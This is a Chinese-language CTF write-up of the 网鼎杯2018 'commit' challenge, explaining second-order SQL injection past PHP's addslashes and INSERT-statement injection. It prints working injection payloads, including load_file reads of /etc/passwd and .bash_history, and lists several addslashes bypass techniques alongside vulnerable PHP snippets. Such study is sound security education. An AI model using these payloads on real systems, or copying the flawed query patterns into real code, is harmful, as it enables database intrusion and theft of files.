网鼎杯2018-commit题解&二次注入&addslashes安全问题&insert注入

  1. 1. 0x00前言
  2. 2. 0x01题解
    1. 2.1. GitTools
    2. 2.2. 二次注入
  3. 3. 0x02 二次注入
  4. 4. 0x03 addslashes
    1. 4.1. bypass addslashes
  5. 5. 0x04 insert注入
  6. 6. 0x05 最后

0x00前言

这道题目本身虽然只是考察二次注入,但是寻找问题解决方法的过程中遇到了一些不相关知识点,也来记录下

0x01题解

发现提交评论需要登录,然后login.php 爆破得到zhangwei/zhangwei666

GitTools

在P牛小密圈发现了一个比较好用的工具,可以提取每次commit的信息,这样比赛的时候也不必担心会在Git上面做文章了. 项目地址 https://github.com/internetwache/GitTools

中间还找到了一篇相关文章 https://www.leavesongs.com/PENETRATION/XDCTF-2015-WEB2-WRITEUP.html

具体使用:

先用Dumper下载git文件

1612261070642

然后用Extractor提取commit记录和文件

1612261129353

二次注入

得到的代码(省略了一些不相关的代码)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
...
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
...
...

可以看到addslashes()函数把传入的参数过滤了.尝试宽字节注入,未果. 在尝试%df吸收\的时候,发现只是没有%df回显而已,并不代表可以宽字节注入 .当然,这道题如果设置set character_set_client = gbk是可以利用宽字节进行注入的.

实际本题考察的点为二次注入,引用了p牛小密圈的一张图,来说明Mysql对\'的处理

image

引号 ' 在addslashes()作用下,变成 \' , 但是在插入数据库的时候又会变成 ' , 在下面的代码中,没有对从数据库中读出来的$category进行过滤就将它插入到了新的SQL语句中,从而造成二次注入

1
2
3
4
5
6
7
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);

payload:

1
2
3
4
5
6
7
8
9
10
发帖:
category=',content=user(),/*
留言:
content=*/#

在二次注入的sql语句中,利用多行注释来注入
$sql = "insert into comment
set category = '',content=user(),/*',
content = '*/#',
bo_id = '$bo_id'";

最后的一些效果

image.png

然后构造读取文件的payload,本题利用sql读取文件又是另一个点, 这个直接参考peri0d师傅的wp https://www.cnblogs.com/peri0d/p/14077324.html. (这个读取文件,又要在别的师傅博客找找思路,以前并没有见过这种思路

1
2
3
4
5
',content=(select load_file("/etc/passwd")),/*
',content=(select load_file("/home/www/.bash_history")),/*
# cd /tmp/ unzip html.zip rm -f html.zip cp -r html /var/www/ cd /var/www/html/ rm -f .DS_Store service apache2 start
',content=(select hex(load_file("/tmp/html/.DS_Store"))),/*
',content=(select hex(load_file("/var/www/html/flag_8946e1ff1ee3e40f.php"))),/*

也没有尝试直接执行命令,题目应该是禁止的.

0x02 二次注入

做了这么多sql注入,看了这么多文章.遇到这个还是没想到. 这次来总结一些特征.

借用了Spoock师傅博客一张图: https://blog.spoock.com/2017/03/27/sql-mutil-injecton-and-block/

img

最主要的是Mysql对\'的处理,Mysql把\'当作一个字符,而不是两个.直接截取P牛小密圈的一段话

1612261796989

重点是应该警惕addslashes(),并不是使用了addslashes()就是安全的.二次注入就暴露了一些addslashes()的安全问题,只不过这点不存在于它本身,而是开发者对addslashes()的信任和不了解

0x03 addslashes

此题之后我对addslashes的看法完全改变了,它并没有我想象的这么安全, 来看一看addslashes会有那些安全问题

bypass addslashes

做题的时候找到了这篇文章 代码审计之绕过addslashes总结,

总结下其中的bypass方法:

  1. 宽字节注入

    一个是熟知的``%df%5c => 運 `utf-8 => gbk

    一个是逆向的gbk=>utf-8錦(0xe55c)\'=>%e5%5c%5c%27=> %5e\\'

    关键代码:

    1
    2
    3
    mysql_query("SET NAMES 'gbk'");
    $username=iconv('utf-8','gbk',$username);
    $username=iconv('gbk','utf-8',$username);
  2. 编码绕过

    下面这些比较明显

    1
    2
    3
    4
    5
    6
    7
    8
    9
    # urldecode
    $username=$_REQUEST['username'];
    $username=addslashes($username);[/size][/color]
    $username=urldecode($username);

    # base64_decode
    $username=$_REQUEST['username'];
    $username=addslashes($username);
    $username=base64_decode($username);
  3. json编码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    <?php
    $str="admin\'";
    $str=addslashes($str);
    echo json_encode($str);
    # admin\\'

    $username=$_REQUEST['username'];
    $username=addslashes($username);
    $username=json_encode($username);
    $password=md5($_REQUEST['password']);
    $sql="select count(*) as num from admin where name='".$username."' and pass='".$password."'";
    $query=mysql_query($sql);
  4. stripslashes 删除反斜杠:

    1
    2
    3
    4
    <?php
    echo stripslashes("Who\'s Bill Gates?");
    ?>
    # "Who's Bill Gates?
  5. 字符替换导致的绕过addslashes

    文中给的示例, 这个还比较直接

    1
    2
    3
    4
    5
    $username=addslashes($username);
    $username=str_replace(array("\\","/"," "),array("","",""),$username);
    $password=md5($_REQUEST['password']);
    $sql="select count(*) as num from admin where name='".$username."' and pass='".$password."'";
    $query=mysql_query($sql);

    还有 CISCN2019 总决赛 Day2 Web1 的Easyweb

    1
    2
    3
    4
    5
    6
    7
    8
    $id=addslashes($id);
    $path=addslashes($path);

    $id=str_replace(array("\\0","%00","\\'","'"),"",$id);
    $path=str_replace(array("\\0","%00","\\'","'"),"",$path);

    $result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
    $row=mysqli_fetch_array($result,MYSQLI_ASSOC);

    传入?id=\0&path=or id=1%23 => 最后的sql语句select * from images where id='\' or path='or id=1#'

  6. 还有sprintf

    第五届上海市大学生网络安全大赛TryLogin https://blog.csdn.net/weixin_45551083/article/details/109822811

    构造password=%1$'xxxx来逃逸引号

    img

    img

    原理在 https://blog.csdn.net/weixin_41185953/article/details/80485075.其实还是没搞太清楚.

  7. 二次注入

0x04 insert注入

这道题的insert注入似乎和以前遇到的都不太一样.来理一下思路

  • bool类型的注入点 可以盲注
1
2
3
INSERT INTO user(sex, name) VALUES (0, 'abc');
=>
INSERT INTO user(sex, name) VALUES (0 or -1 or 0, 'abc');
  • 数字型: 把结果转化为10进制数字
1
2
3
4
INSERT INTO user(name, num) VALUES ('abc', 123);
=>
INSERT INTO user(name, num) VALUES ('abc', 0+conv(hex(user()),16,10));
或者 INSERT INTO user(name, num) VALUES ('abc', 0+conv(user(),36,10));
  • 字符类型,插入多条值
1
insert into user (name,pwd) values ('xxxx','xxxx'),((select user()),1)# ','a');

而本道题是

1
2
3
4
insert into comment
set category = 'xxx',
content = 'xxx',
bo_id = 'xxx';

可以利用本道题的trick

1
2
3
4
insert into comment
set category = '',content=user(),/*',
content = '*/#',
bo_id = '$bo_id';

0x05 最后

中途还看到了这篇文章 sql二次注入和截断联合使用 ,在 sql-mode 为非严格模式的时候,可以产生一种截断注入,就以后再研究了

紧接着又做到了一个二次注入的题目: [CISCN2019 华北赛区 Day1 Web5]CyberPunk题解